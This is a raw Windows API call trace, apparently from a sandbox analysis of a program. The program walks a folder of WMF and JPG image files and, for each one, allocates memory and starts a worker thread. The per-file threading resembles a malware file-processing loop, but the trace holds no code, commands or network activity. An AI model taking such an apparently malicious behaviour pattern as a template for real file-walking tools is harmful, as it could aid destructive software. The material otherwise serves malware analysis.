	[0238.270] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1
	[0238.270] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d34
	[0238.273] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.274] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1
	[0238.274] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d38
	[0238.277] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.278] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1
	[0238.278] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d3c
	[0238.280] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.280] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1
	[0238.280] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d40
	[0238.283] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.283] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1
	[0238.283] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d44
	[0238.286] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.287] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1
	[0238.287] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d48
	[0238.290] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.291] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1
	[0238.291] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4c
	[0238.293] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.294] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1
	[0238.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d50
	[0238.297] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.297] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1
	[0238.297] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d54
	[0238.300] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.300] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1
	[0238.300] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d58
	[0243.327] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.328] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1
	[0243.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca5230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d5c
	[0243.331] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.332] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1
	[0243.332] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca8910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d60
	[0243.335] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.335] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1
	[0243.335] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcabff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d64
	[0243.338] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.339] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1
	[0243.339] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcaf6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d68
	[0243.342] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.342] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1
	[0243.342] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb2db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d6c
	[0243.345] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.345] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1
	[0244.576] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d70
	[0244.580] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.580] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1
	[0244.580] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d74
	[0244.583] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.584] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1
	[0244.584] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d78
	[0244.586] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.587] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1
	[0244.587] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d7c
	[0244.589] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.590] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1
	[0244.590] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d80
	[0244.593] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.594] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1
	[0244.594] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d84
	[0244.597] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1
	[0244.597] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d88
	[0244.600] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.601] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1
	[0244.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8c
	[0244.603] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1
	[0244.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d90
	[0244.607] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.607] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1
	[0244.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d94
	[0245.035] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.036] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1
	[0245.036] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d98
	[0245.039] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.040] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1
	[0245.040] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d9c
	[0245.043] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
